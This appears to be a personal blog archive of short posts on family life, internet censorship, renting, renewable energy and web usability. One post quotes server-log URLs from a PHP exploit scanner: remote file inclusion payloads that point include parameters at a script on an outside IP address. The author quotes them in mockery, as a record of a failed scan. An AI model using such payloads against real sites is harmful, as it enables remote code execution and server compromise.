Hilarious customer review for Dropship

Shutyamow by Quagdy

"Honestly this game is the raddest. u hav got to b stupid not to buy it. I hav a stupid friend who won't buy it even though it's only a few bucks. Did u hear that chris? YOU TIGHTWAD haha qwaqwaqwa"

Spotted in the App Store on the Dropship page. Cracks me up for some reason.

Multitasking developers

From How To Guarantee That Your Software Will Suck

"If there is one thing that developers do not do well it is multi-task. Multi-tasking is for operating systems. Sure, we can multi-task, but I promise you that our productivity will be destroyed by it. Developers are most of all problems solvers. Problem solving is an extremely time consuming task that requires focus and concentration. Multi-tasking is the arch nemesis of focus and concentration."

(Emphasis added my me)

Wow, when I find myself doing some heavy development I end up focussing in on the job at hand to such an extent that I literally don't know what day it is, if I've had lunch today, or where I am. Also, who are you and how did you get into my house?

To such an extent in fact that my spouse was concerned that I had an early case of Alzheimer's, but now has wrongly concluded that I just don't care about her, or anything else for that matter, which couldn't be further from the truth.

The problem is compounded by the fact that when a guy's brain is in "problem solving" mode, it's too easy to default to "Mr Fix-it" behaviour in our relationships too, which does not help at all. The trap that's easy to fall into is thinking that working one's self into a zombie for their family might be interpreted as as a sign of dedication or devotion, when in fact it's seen as being disconnected and disinterested.

I may have been too slow to realise my mistake, but if you're buried in the middle of a world-changing software project please, for the sake of your self and your family, un-plug for a while, take the wife and kids out to see a movie, and take that fucking ridiculous hat off...

UK Internet Firewall already affecting Wikipedia

Original article, more here

So the UK turns on their transparent internet filter designed to protect kiddies from child pornography, and already there have been 2 immediate effects:

1. Because the filter redirects all users through a proxy, their IP address is the same, which means social websites like Wikipedia can't distinguish between legitimate users and those who maliciously vandalise their content


2. An article on a 1976 metal band with an album cover of questionable taste has vanished

This has major ramifications that do nothing to aid the purported cause:

The IP addresss issue means other systems that rely on blacklisting the IP address of abusive users, like for example the comment system on a weblog like this, have to block everyone behind the filter. Could the same also apply to SPAM blacklists? Could it block access to internet banking? What other sites would you suddenly find yourself unable to use?

Reiterating my previous point, it does nothing to address the real issue with society, but has very real, harmful effects. Whether the album cover is tasteful is perhaps a subject that could be discussed in a mature way between parents and their kids, as opposed to the government stepping in and forcefully assuming a role that is not theirs.

It's a very short, slippery slope between throwing buzzwords around like "child pornography", and the great firewall of China, a tool employed by a repressive military regime.

Do we really live in a free nation or not?

Save the 'net!

I just contributed to GetUp! to buy some ad impressions for their save the net campaign. Please use their widget below to sign the petition to keep Australia's internet un-censored.

Why I'm against censorship and for net neutrality:

Firstly, it does nothing to address the real issues it claims to protect us from. The internet doesn't drive people to act badly, it's just a source of information. The money would be much better spent finding what causes people to seek out the information they want to censor and addressing the problems with society instead.

Secondly, as someone who works with the internet everyday I just don't want them to fuck it up! I truly believe that free access to information will drive forward our collective consciousness at an exponential rate by increasing our general knowledge and awareness, and also giving us tools to overcome geographical, lingual, social, and temporal barriers and communicate freely with each other.

Don't let their fear and ignorance jeopardise one of humanities greatest resources - free knowledge.

No nuclear power in Aus!

Got an action alert from the Blue King Brown news letter about plans to introduce nuclear power to Australia, the largest island continent on earth comprised largely of sun-drenched desert and completely surrounded by ocean, both limitless sources of renewable energy.

Worth while plans take time to implement and are expensive, but the benefits are enjoyed by our children and all generations to come. I'm completely over the oil economy, and my son who is much smarter than I will have his own opinion about it when it matters, which will be after those now lobbying for nuclear power have retired on the windfall and the damage is irreversible. I don't want to let that happen.

All that glitters is not gold

World of Warcraft first timers be warned...

Caved in to peer pressure today and bought a copy of World of Warcraft. I had actually played the streaming trial and quite enjoyed it, but really just don't have time for gaming. It was naive to think I could just buy the full game and start playing...

Here I am now in the middle of the 5th successive patch the game has downloaded, weighing in at a massive 2.6GB!!!



Notice the message about being behind a firewall. The first massive patch screamed in at nearly 1MB/s and took less than half an hour. This one is dribbling in at ~200KB/s, so I opened up the required ports in my modem/router's firewall, but to no avail...

Good thing I just upgrading my broadband account. If I leave my computer on overnight it might be ready to play by tomorrow, but I'm thinking that by then I'll be over it. And here was me trying to be good by playing games at home instead of drinking excessively. Oh well

Blue King Brown

I've been really enjoying Blue King Brown recently. The music is great, and they're utilising social media well.

I guess I must have subscribed to their newsletter at some point, but over the weekend they sent out a link to download their latest single Moment of Truth from iTunes for free. It's a great track, and I liked it so much I bought their full album Stand Up while I was there.

We're killing air

I love the perspective of the world that kids have through their eyes, so simple and pure. Here's a conversation I had with my son this morning on the way to school:

me: "Don't break that!"

Tyler: "Why not?"

me: "Um, well it's polystyrene"

Tyler: "But, why not?"

me: "Because it will break into little pieces and they don't bio-degrade, um, they never go away"

Tyler: "Yeah, but why not?"

me: "It's bad for the environment and we need it to live"

Tyler: "What's the environment?"

me: "You know, trees and plants and the air in the sky and stuff."

Tyler: "Trees make air!"

me: "Yes, they do"

Tyler: "Trees make paper too!"

me: (laughs) "Actually they don't make paper, we cut them down and make them into paper"

Tyler: "You mean mean we kill trees to make paper?"

me: "Yes we do actually, it's a big problem"

Tyler: "But we're killing air!!!"

Web Developers Anonymous

A few weeks back I started a podcast with a good mate of mine Sean Schertell who I met in Japan and have been a web development co-conspirator with since.

It's called Web Developers Anonymous and can be found at http://wdashow.com. We mainly ramble on about web dev related stuff, and we recently added "Crotchety Sean's Rambling Rant" where Sean vents some politically charged thoughts that have been on his mind.

It was actually Sean who spent many years evangelising Apple to me before I finally converted by buying a Macbook Pro just before moving back from Japan.

So please check it out, you can subscribe in iTunes (it's free) at http://is.gd/3naH, or go to the podcasts section of the iTunes store and search for "web developers anonymous".

Also, we'd like people to email us your questions, comments, flattery and insults to: mail@wdashow.com

Renting Makes More Financial Sense Than Homeownership

From Yahoo Finance:

Businesses are great investments while houses are poor ones, so I'd rather rent the latter and own the former.

I just knew it! I've previously made the case for renting vs. buying in favour of using a high-interest CMT earning 6% or more compounded quarterly as a wealth generation vehicle. The writer points out that houses provide zero real returns after inflation, while stocks consistently provide 7%, so it looks like I wasn't far off the mark!

Maybe a time will come when renters are afforded some respect yet!

Note to self

(to be read in the future)


ha ha ha... fuck you

More thoughts on money as debt

Watched the excellent YouTube series on money as debt again this morning. Was thinking about the proposal towards the end to replace the fractional reserve banking system with permanent currency based on value and harnessing renewable energy.

I think it's a great idea, and it got me to thinking about thin film solar. I'm very hopeful and optimistic for our future with the emergence of such energy sources. It would be great if existing home owners would invest in similar technologies en mass to increase demand and in so doing reduce the price.

One problem though is a lack of incentive - energy bills really aren't a major part of the cost of living in a country like Australia, it's just not very expensive compared to consumables, transportation, and more importantly home ownership itself which can only be achieved for most through a life-long commitment to a mortgage. The last thing home owners who are free of their mortgage payments will want to do is spend another $10,000 or so on their home for very little perceptible return.

It will more likely be corporations who have large energy bills that will invest heavily in alternative energy sources, such as the Googleplex, the roof of which is reassuringly plastered with solar panels that produce 30% of their energy.

Right now, I'm really not interested in committing our family to filling the role of turning a half-million dollar debt into six or seven hundred thousand dollars worth of interest so the banking cartels can continue to repress renewable energy and perpetuate rising debt through military spending on incessant, needless wars.

How about you? Waist-deep in a mortgage, burning cash on rent like myself, living in a hippy commune? What can we do to ensure freedom for our children of the future?

33. KEEP PREMISES CLEAN

A day in the life of a rent paying tennant in Sydney, Australia:

Just got a letter in the mail that has completely ruined my day:

I have received a call from the Stata Manager of the complex and they have advised that they are concerned that the gardens are not being maintained to the appropriate standards. This is a breech of your tenancy agreement.

33. KEEP PREMISES CLEAN
The tennant will during the term of this agreement ensure that:

1. Such grounds and gardens as form part of the residentaial premises are kept tidy & free of rubbish; and


2. all waste is placed in bins provided

In future this area will be monitored through the year to ensure that the grounds are kept tidy.

We anticipate that the above matter will be attended to promptly & a further inspection will be carried out within 2 weeks of this letter to ensure this work has been done.

Yours Sincerely
HOLGATE FIRST NATIONAL
(name withheld)

What fills my stomach with bile besides the unnecessarily confrontational tone of the letter, is that when we moved in the gardens were basically full of shit. We took photos:







and had our Property Manager inspect the premises in person and were promised the situation would be taken care of and told not to worry about it...

Truth be told, in the winter months a tree which has grown over the fence from a neighbouring yard renders the back yard completely uninhabitable, and having not gone out there for some time there is some more grass that has grown up from the cracks between the old, broken, and uneven paving stones.

How about instead of shooting off a harsh, nasty letter, just taking 2 minutes to call and say "hope every thing's fine, just FYI the back yard could do with a bit of weeding, OK, take care now, bye bye"?

sigh...

Just for the record, we're paying $2,175 a month.

Empires and Entropy

Was talking about the futility of empire building today and making the case for entropy working against it. The gist of it being that the natural order of things is usually to achieve a balance or equilibrium.

My point was that modern fascist dictatorships historically have only succeeded in being relatively short lived, not because they are inherently evil as such, but because attempting to control something as organic as human affairs in that manner is contrary to the very nature of life itself - which is to continually change, adapt, and evolve, not to stagnate or even regress.

Anyway...

Came across a video of a certain senator speaking out against the empire building tendencies of the republican party: someone predicted this economic collapse a year ago

The money quote: (pun not intended)

we have to "reject the notion that we need to run an empire, we can't afford it, it's going to come down, it always comes down, it has come down all throughout history because eventually the currency is destroyed"

The destruction of an empire's currency is surely an indicator of it's pending demise.

My belief is that the fundamental floor of empire building war mongers is to overlook one very simple, and incredibly obvious fact: empires are made of people, genetic organisms, that thrive on change, discovery, and achievement.

These would be dictators deny their own true nature and start to believe their own lies - that they are working to build a better future for humanity - when in practice what they set about doing is creating division and segregation by syphoning out the toils of the many and depositing it in the hands of the fortunate few. They willingly blind themselves to their own internal corruption and lies. They run full steam ahead to the demise of the economy, the nation's currency, and the detriment of the world around them.

Hopefully the main difference between aspiring empires of today, and the great empires of the past is how swiftly they fall.

Eight years has not been swift enough for one evil empire in particular.

The disheartening thing is that it really doesn't have to be that way. People are smart, and compassionate, and will usually work together for mutual benefit in preference to serving their own needs at greater expense. Life takes the easiest path that leads to further life, and over time achieves a natural equilibrium. The common mistake is to use too small a scale of time for reference.

Watch this animation of 3000 years of imperial history of the middle east for example. In the current socio economic climate, modern empires like Nazi Germany and Communist Russia rise and fall in periods of time that are measured in decades rather than centuries, and it should prove to be an exponential curve.

I just wish that future empires would instead just not bother, and instead turn to renewable energy and true freedom and liberty for all, not just the fortunate few.

/rant

Jimmy the Fisherman

Jimmy is eight years old and goes to school. Every day he goes to school with his frying pan and his fishing rod.

His job at school is to catch fish. When it's time for morning tea and lunch, Jimmy gets out his fishing rod and catches a fish to eat. Then he cooks the fish in his frying pan.

That's the story Tyler told me this morning on his way to school as he trundled along next to me on his scooter. Hilarious. It's really weird, I think I'm actually more advanced in years than his school teachers.

Your cost could be $12.60 instead of $42.60!

I had clicked through to Amazon to buy a book that cost about $13, ended up adding another similarly priced book, and was on the final checkout page with left mouse finger tentatively hovering over the buy button when I noticed this huge call-out at the top of the page:



Really? Then why isn't it! Seriously, the final checkout page is the worst place to be reminding customers that their cost could be much lower without offer a way to act on it immediately.

Didn't end up going ahead with it. It made the experience feel like being kicked in the nuts and laughed at for being so stupid as to pay the full amount. What they should have done is congratulate me for how much I had already saved over going to a brick & mortar bookshop, and then on the receipt page offered a tip for how to make my next purchase a little cheaper.

Morfeus Fucking Scanner

Pleas excuse the profane title, it's the string that an entity identified itself with that hit up out server a few hundred times over a period of several seconds during the night. A little googling reveals it to be a PHP vulnerability exploit scanner.



I thought it was funny that they'd be so blatent, but also because our site is a Ruby on Rails application and as such is invulnerable to PHP exploits. It was hitting up URLs like this is rapid succession:

/www/lib/head_auth.php?CFG[PREPEND_FILE]=http://69.46.228.240/dotproject/includes/1.gif?/

/webcalendar/tools/send_reminders.php?includedir=http://69.46.228.240/dotproject/includes/1.gif?/

/templates/mangobery/footer.sample.php?Site_Path=http://69.46.228.240/dotproject/includes/1.gif?/

/tools/update_translations.php?_SESSION[path]=http://69.46.228.240/dotproject/includes/1.gif?/

Anyway, to the script kiddie who was running box 80.98.255.56, can't blame you for trying hey :)

Easy Eikaiwa

To the 130 or so individuals who showed an interest in Easy Eikaiwa by taking the time to open an account I'd like to say thank you.

We've been back in Australia for nearly two years now and have moved on to other things, but Easy Eikaiwa is still ticking along, signing up the occasional free account every now and then. If anyone is actually using it I'd love to hear from you! Otherwise as we're paying ongoing hosting costs to keep the site operational it might be time to call it a day and close the site down.

My time working in Japan developing a scheduling system was a great experience. The vision for Easy Eikaiwa was to create a simple and affordable system for english schools to manage their scheduling online instead of using Excel spreadsheets via phone, fax, email, etc. as many schools do.

Let me know if anyone would like to keep the site up.

Cheers,

Mark Beattie

http://maninjapan.blogspot.com
http://twitter.com/beet

Has it been 5 years already?

Was just taking the A List Apart 2008 survey when I came up to a question asking how long you've had a personal blog for. Turns out 5 days ago was the 5th anniversary of this very blog! What are the chances of that?

I'd never have known otherwise. Looking back, it seems I've made just shy of 150 posts over the last 5 years, averaging at something like 1 post every couple of weeks. I know there are no regular readers, but I still like to get stuff off my mind that I feel like addressing to the world in general on the off chance that someone might stumble across it.

More recently, Twitter has filled a niche for broadcasting random thoughts and musings: http://twitter.com/beet.

Should spend more time doing stuff worth writing about.

Come and feel the noise

Normally I quite like the Ebay layout, it's clean and intuitive, and their algorithms for recommending content and keeping recently viewed items in view are very good. Then I got a reply to a question I had asked a seller...

Try and spot the reply amongst the interface background noise:



After several painful seconds scanning around the page aimlessly I finally focussed in and found it:



Absolutely shocking! The very part of the page the viewer is most interested in has the least focus, a clear case of mistaken priorities.

(Yes, I have been browsing V1 iPhones...)